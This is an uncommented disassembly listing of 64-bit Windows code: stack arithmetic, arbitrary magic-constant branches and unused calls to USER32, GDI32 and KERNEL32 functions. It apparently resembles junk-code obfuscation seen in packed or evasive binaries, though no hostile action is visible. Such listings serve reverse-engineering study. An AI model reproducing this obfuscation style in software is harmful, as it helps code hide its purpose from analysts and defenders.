movsx eax, word [rax]
movsx ecx, word [0x1401203c0]
add eax, ecx
mov word [rsp + 0x1294], ax
movzx eax, word [rsp + 0x136c]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401203cc], ax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [rsp + 0x2a2]
add eax, ecx
mov byte [rsp + 0x2a6], al
lea rax, [0x140127280]
mov qword [rsp + 0x7c88], rax
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x7c88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x68e8], rax
jmp 0x140012e2c
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3680]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3cd8], eax
lea r9, [rsp + 0x3d2c]
mov r8d, 0x18
mov edx, 0xa
mov rcx, qword [rsp + 0x7c90]
call qword [sym.imp.GDI32.dll_AnimatePalette]
mov dword [rsp + 0x3ce4], eax
mov rax, qword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x7998]
mov qword [rsp + 0x7c98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c98]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7a80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7bf8]
mov qword [rsp + 0x7ca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ca0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3c04], eax
movzx eax, byte [rsp + 0x222]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2a9], al
mov rax, qword [rsp + 0x7c88]
mov rax, qword [rax]
mov qword [rsp + 0x7ca8], rax
movabs rax, 0x73a35c0f11c931
cmp qword [rsp + 0x7ca8], rax
je 0x140012eac
movabs rax, 0x7bbe5deb656cf1
cmp qword [rsp + 0x7ca8], rax
je 0x140012e69
jmp 0x140012ee1
movsx eax, word [0x1401203c0]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x140127268]
mov word [rcx], ax
call fcn.1401034f0
mov rax, qword [rsp + 0x6040]
mov rcx, qword [rsp + 0x6fc8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a00], rax
jmp 0x140012ee1
movsx eax, byte [rsp + 0x2a3]
mov rcx, qword [rsp + 0x7b98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a1], al
movzx eax, byte [rsp + 0x1ba]
movzx ecx, byte [rsp + 0x2a5]
sub eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7c48]
mov ecx, dword [rcx]
mov edx, dword [0x140120398]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x1401024a9
mov rax, qword [rsp + 0x7c58]
movzx eax, word [rax]
mov word [rsp + 0x138c], ax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [rsp + 0x2a8]
sub eax, ecx
mov byte [0x140127261], al
movzx eax, byte [rsp + 0x2a7]
mov byte [rsp + 0x3d30], al
cmp byte [rsp + 0x3d30], 0x1f
je 0x140012f69
cmp byte [rsp + 0x3d30], 0x9b
je 0x14010231e
jmp 0x140102399
mov rax, qword [rsp + 0x7ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x79c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x75f0]
mov rdx, qword [rsp + 0x7b90]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x1400130e1
movzx eax, word [rsp + 0x1350]
mov rcx, qword [rsp + 0x7bc8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7c50]
mov word [rcx], ax
mov ecx, 0x76
call qword [sym.imp.USER32.dll_AllowSetForegroundWindow]
mov dword [rsp + 0x3d34], eax
movsx eax, word [rsp + 0x1388]
mov rcx, qword [rsp + 0x7aa0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1294], ax
mov rax, qword [rsp + 0x7c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a5], al
mov eax, dword [rsp + 0x3b20]
mov ecx, dword [rsp + 0x3680]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c14], eax
mov rax, qword [rsp + 0x7a88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x79a0]
mov qword [rsp + 0x7cb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7cb0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ac0]
mov qword [rsp + 0x7cb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7cb8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x79c0], rax
movsx eax, byte [rsp + 0x2a1]
movsx ecx, byte [rsp + 0x29e]
xor eax, ecx
mov byte [rsp + 0x2a4], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1350]
or eax, ecx
mov word [rsp + 0x1370], ax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1294]
add eax, ecx
mov word [0x140127288], ax
mov eax, dword [rsp + 0x361c]
mov dword [rsp + 0x3d38], eax
cmp dword [rsp + 0x3d38], 0x4d73
je 0x140013112
cmp dword [rsp + 0x3d38], 0x4bd05da0
je 0x1400131d6
jmp 0x140102250
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1294]
add eax, ecx
mov word [rsp + 0x1200], ax
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x7c00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ba], al
movzx eax, word [rsp + 0x138c]
movzx ecx, word [rsp + 0x135c]
sub eax, ecx
mov word [0x1401203c4], ax
mov rax, qword [rsp + 0x7a50]
mov rcx, qword [rsp + 0x68e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ba0], rax
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x6040]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7300], rax
mov ecx, 0x1f
call qword [sym.imp.USER32.dll_GetQueueStatus]
mov dword [rsp + 0x3cc8], eax
mov rax, qword [rsp + 0x7c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x222]
or eax, ecx
mov rcx, qword [rsp + 0x7a58]
mov byte [rcx], al
jmp 0x140102250
mov rax, qword [rsp + 0x7ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a80]
mov qword [rsp + 0x7cc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7cc0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x75f0], rax
mov eax, dword [rsp + 0x3cb4]
movzx ecx, al
mov eax, dword [rsp + 0x3c20]
sar eax, cl
mov rcx, qword [rsp + 0x7c48]
mov dword [rcx], eax
lea rax, [rsp + 0x29f]
mov qword [rsp + 0x7cc8], rax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x7ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7998]
mov rdx, qword [rsp + 0x7c40]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x14001335b
call fcn.1401034f0
mov eax, dword [rsp + 0x36f8]
mov dword [rsp + 0x3cf0], eax
mov rax, qword [0x140127268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1314]
and eax, ecx
mov rcx, qword [0x140127268]
mov word [rcx], ax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1374], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x134c]
sub eax, ecx
mov word [rsp + 0x1388], ax
movzx eax, word [rsp + 0x1380]
mov rcx, qword [rsp + 0x7c50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1368], ax
mov rcx, qword [rsp + 0x7cd0]
call qword [sym.imp.USER32.dll_HideCaret]
mov dword [rsp + 0x3d3c], eax
mov eax, dword [rsp + 0x3ca0]
mov ecx, dword [rsp + 0x361c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7c48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a58]
movzx ecx, byte [rax]
call fcn.140103550
mov rax, qword [rsp + 0x7ac0]
mov rax, qword [rax]
mov qword [rsp + 0x7cd8], rax
cmp qword [rsp + 0x7cd8], 0
je 0x14001348d
movabs rax, 0x729108c505a93d
cmp qword [rsp + 0x7cd8], rax
je 0x140013396
jmp 0x1400134fd
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [0x1401203a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ce8], eax
mov rax, qword [rsp + 0x7ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a80]
mov qword [rsp + 0x7ce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ce0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6ae8], rax
movzx eax, word [rsp + 0x136c]
movzx ecx, word [rsp + 0x138c]
xor eax, ecx
mov word [rsp + 0x1348], ax
movsx eax, word [rsp + 0x1314]
movsx ecx, word [rsp + 0x134c]
shl eax, cl
mov word [rsp + 0x9d4], ax
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1294]
or eax, ecx
mov rcx, qword [0x140127268]
mov word [rcx], ax
mov rax, qword [rsp + 0x7bf0]
mov rax, qword [rax]
mov rcx, qword [0x1401203b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a18], rax
mov rax, qword [rsp + 0x79d0]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x222]
call fcn.140103460
mov rax, qword [rsp + 0x7ba0]
mov rcx, qword [rsp + 0x7a00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68c8], rax
jmp 0x1400134fd
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x7ce8], rax
mov rax, qword [rsp + 0x7360]
mov rcx, qword [rsp + 0x68c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7b58]
mov qword [rcx], rax
movzx eax, word [rsp + 0x9d4]
mov word [rsp + 0x1390], ax
movsx eax, byte [rsp + 0x8b]
movsx ecx, byte [rsp + 0x2a1]
add eax, ecx
mov byte [rsp + 0x14e], al
lea rcx, [rsp + 0x7b88]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x36f8]
mov ecx, dword [rsp + 0x3c34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a88], eax
mov rax, qword [rsp + 0x7ab8]
mov ecx, dword [rsp + 0x361c]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x37ac], eax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x7bb8]
movzx eax, byte [rax]
mov byte [0x140127260], al
mov rax, qword [rsp + 0x7b90]
mov qword [rsp + 0x7cf0], rax
movabs rax, 0x75b6937759e96a
cmp qword [rsp + 0x7cf0], rax
je 0x140013589
jmp 0x1400135db
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7bf0]
mov qword [rsp + 0x7cf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7cf8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x68c8], rax
movsx eax, word [rsp + 0x1388]
movsx ecx, word [rsp + 0x134c]
and eax, ecx
mov word [0x1401203b4], ax
jmp 0x140102148
mov rax, qword [rsp + 0x7c88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a00]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov rdx, qword [rsp + 0x7a18]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jge 0x140101e7e
lea rax, [rsp + 0x1364]
mov qword [rsp + 0x7d00], rax
movzx eax, byte [rsp + 0x2a8]
movzx ecx, byte [0x140120038]
and eax, ecx
mov byte [0x140127260], al
mov rax, qword [rsp + 0x7d00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c50]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x138c]
mov dword [rsp + 0x3d40], ecx
movzx edx, word [0x1401203c8]
movzx ecx, dl
mov edx, dword [rsp + 0x3d40]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140013744
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7bf0]
mov qword [rsp + 0x7d08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7d08]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x7a28]
movzx eax, byte [rax]
mov byte [rsp + 0x2ab], al
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x134c]
or eax, ecx
mov word [rsp + 0x1390], ax
mov rax, qword [rsp + 0x7d00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1374]
xor eax, ecx
mov word [rsp + 0x1378], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov qword [rsp + 0x7d10], rax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
cdq
mov rcx, qword [0x140127278]
idiv dword [rcx]
mov dword [rsp + 0x3b20], eax
lea rax, [rsp + 0x3c04]
mov qword [rsp + 0x7d18], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a18]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401203b8]
mov rdx, qword [rsp + 0x68e8]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1400137db
mov rax, qword [rsp + 0x7bb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7a58]
mov byte [rcx], al
call fcn.140103400
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x222]
sub eax, ecx
mov byte [0x140120038], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7bc8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1368], ax
jmp 0x140013938
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x1364]
add ecx, edx
cmp eax, ecx
je 0x140013938
movsx eax, word [rsp + 0x134c]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
mov rax, qword [rsp + 0x7c88]
mov rcx, qword [rsp + 0x79f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7a50], rax
mov rax, qword [rsp + 0x68c8]
mov rcx, qword [rsp + 0x68e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7300], rax
mov rax, qword [rsp + 0x7c48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ca0], eax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6ae8]
shl rax, cl
mov qword [rsp + 0x7c40], rax
mov eax, dword [rsp + 0x3c3c]
mov dword [rsp + 0x3cf0], eax
movzx eax, byte [rsp + 0x2a9]
mov rcx, qword [rsp + 0x7bb8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1ba], al
mov r8d, 0x2c
mov rdx, qword [rsp + 0x7c28]
mov rcx, qword [rsp + 0x7d20]
call qword [sym.imp.USER32.dll_GetClassNameW]
mov dword [rsp + 0x3680], eax
mov eax, dword [rsp + 0x3be8]
mov rcx, qword [rsp + 0x7ab8]
mov qword [rsp + 0x7d28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7d28]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [0x140127278]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ab0]
movzx ecx, byte [rax]
call fcn.140103550
movsx eax, byte [rsp + 0x2ab]
mov rcx, qword [rsp + 0x7cc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7aa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x134c]
sub eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
mov rax, qword [rsp + 0x7c88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ba0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7840], rax
movsx eax, word [0x140127288]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1388], ax
lea rax, [rsp + 0x75f0]
mov qword [rsp + 0x7d30], rax
mov rax, qword [rsp + 0x7c48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cd8], eax
mov rax, qword [rsp + 0x7bf8]
mov eax, dword [rax]
mov dword [rsp + 0x3d44], eax
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x135c], ax
lea rax, [rsp + 0x2a7]
mov qword [0x140127258], rax
mov rax, qword [rsp + 0x7bf0]
mov rcx, qword [rsp + 0x7840]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7a50], rax
mov rax, qword [rsp + 0x7c50]
movzx eax, word [rax]
mov word [rsp + 0x1394], ax
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x222]
mov rcx, qword [rsp + 0x7bb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x2a8]
sub ecx, edx
cmp eax, ecx
jne 0x140013bdc
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x29f], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x136c]
sub eax, ecx
mov word [rsp + 0x1368], ax
mov r8, qword [rsp + 0x7d38]
lea rdx, [rsp + 0x7d40]
mov rcx, qword [rsp + 0x7d48]
call qword [sym.imp.USER32.dll_FillRect]
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a7]
and eax, ecx
mov rcx, qword [0x140127258]
mov byte [rcx], al
call fcn.140103400
movsx eax, word [rsp + 0x1294]
movsx ecx, word [0x1401203c0]
add eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7300]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x7c88]
mov rcx, qword [rsp + 0x6fc8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7300], rax
mov eax, dword [rsp + 0x3c34]
mov ecx, dword [0x14012039c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d18], eax
mov rax, qword [rsp + 0x7ac0]
mov rcx, qword [rsp + 0x7a80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7c48]
mov rcx, qword [rsp + 0x7ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3c14], eax
jmp 0x140101dea
mov rax, qword [rsp + 0x7a88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3a88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7bf8]
mov rdx, qword [rsp + 0x7d18]
mov edx, dword [rdx]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
je 0x140101dea
movzx eax, word [rsp + 0x1370]
movzx ecx, word [rsp + 0x136c]
sar eax, cl
mov word [rsp + 0xb08], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [0x1401203b4]
shl eax, cl
mov word [rsp + 0x134c], ax
movzx eax, byte [rsp + 0x222]
movzx ecx, byte [rsp + 0x2a0]
xor eax, ecx
mov byte [0x14012003a], al
mov rax, qword [rsp + 0x7c88]
mov rcx, qword [rsp + 0x7b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x7360]
mov qword [rsp + 0x7d50], rax
movzx eax, word [rsp + 0x1364]
movzx ecx, word [rsp + 0xb08]
add eax, ecx
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x7ac0]
mov rcx, qword [rsp + 0x75f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7a80]
mov rcx, qword [rcx]
mov rdx, qword [0x140120390]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x140013f50
lea rax, [rsp + 0x3ca0]
mov qword [rsp + 0x7d58], rax
mov rax, qword [rsp + 0x7ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ae8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7be0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7b98]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x7cc8]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x140013f00
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7c50]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x7bc8]
movzx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jne 0x140013ebd
movsx eax, byte [rsp + 0x8b]
movsx ecx, byte [rsp + 0x2a3]
shl eax, cl
mov byte [rsp + 0x2a4], al
mov rax, qword [rsp + 0x7a88]
mov eax, dword [rax]
mov dword [rsp + 0x3d48], eax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7aa0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9d4], ax
mov eax, dword [rsp + 0x3d18]
mov ecx, dword [rsp + 0x3cc8]
add ecx, eax
mov eax, ecx
mov ecx, dword [0x1401203a0]
mov edx, dword [rsp + 0x3c3c]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x140013ebb
mov rax, qword [rsp + 0x7c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401203c8], ax
movzx eax, byte [rsp + 0x116]
movzx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov byte [rsp + 0x242], al
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1388]
add eax, ecx
mov word [rsp + 0x1390], ax
movzx eax, byte [rsp + 0x116]
movzx ecx, byte [rsp + 0x2a0]
and eax, ecx
mov byte [rsp + 0x2a8], al
mov rax, qword [rsp + 0x7ac0]
mov rax, qword [rax]
mov qword [rsp + 0x7d60], rax
imul eax, dword [rsp + 0x3c94], 0xf1cc
mov dword [rsp + 0x36f8], eax
lea rax, [rsp + 0x3cd8]
mov qword [rsp + 0x7d68], rax
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1364], ax
jmp 0x140013efe
mov rax, qword [rsp + 0x7c60]
mov rcx, qword [rsp + 0x7968]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7b90]
mov rdx, qword [rsp + 0x79c0]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x140013efe
mov rax, qword [rsp + 0x79d0]
movzx ecx, byte [rax]
call fcn.140103550
jmp 0x140013f50
movzx eax, byte [rsp + 0x1ba]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7c00]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x79d0]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jg 0x140013f50
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7bb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a9], al
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
mov rcx, qword [0x140127268]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401203d0], ax
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov qword [rsp + 0x7d70], rax
mov rax, qword [rsp + 0x7840]
movzx ecx, al
mov rax, qword [rsp + 0x7988]
shl rax, cl
mov qword [rsp + 0x68c8], rax
mov rax, qword [rsp + 0x7360]
mov rcx, qword [rsp + 0x7840]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a18], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75f0]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x140120390]
mov rdx, qword [rsp + 0x7968]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jb 0x140101d4a
movzx eax, word [0x1401203d0]
mov word [0x140127254], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
mov byte [rsp + 0x2ac], al
movsx eax, word [rsp + 0x1200]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1390], ax
movzx eax, byte [0x140127260]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd0], al
movzx eax, word [rsp + 0x1374]
movzx ecx, word [rsp + 0x1378]
sub eax, ecx
mov word [rsp + 0x1394], ax
mov rax, qword [rsp + 0x79b0]
mov rcx, qword [rsp + 0x7d68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7b90]
mov qword [rsp + 0x7d78], rax
movsx eax, word [rsp + 0x1294]
movsx ecx, word [rsp + 0x1390]
add eax, ecx
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x7980]
movsx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
je 0x140014184
mov eax, dword [rsp + 0x3cfc]
mov rcx, qword [rsp + 0x7d18]
mov qword [rsp + 0x7d80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7d80]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3c3c], eax
mov rax, qword [rsp + 0x68e8]
movzx ecx, al
mov rax, qword [rsp + 0x7d50]
shl rax, cl
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7c58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1394]
or eax, ecx
mov word [0x1401203cc], ax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7aa0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1388], ax
mov edx, 0xff
mov rcx, qword [rsp + 0x7a30]
call qword [sym.imp.USER32.dll_GetWindow]
mov qword [rsp + 0x7a30], rax
movzx ecx, byte [rsp + 0x2a0]
call fcn.140103550
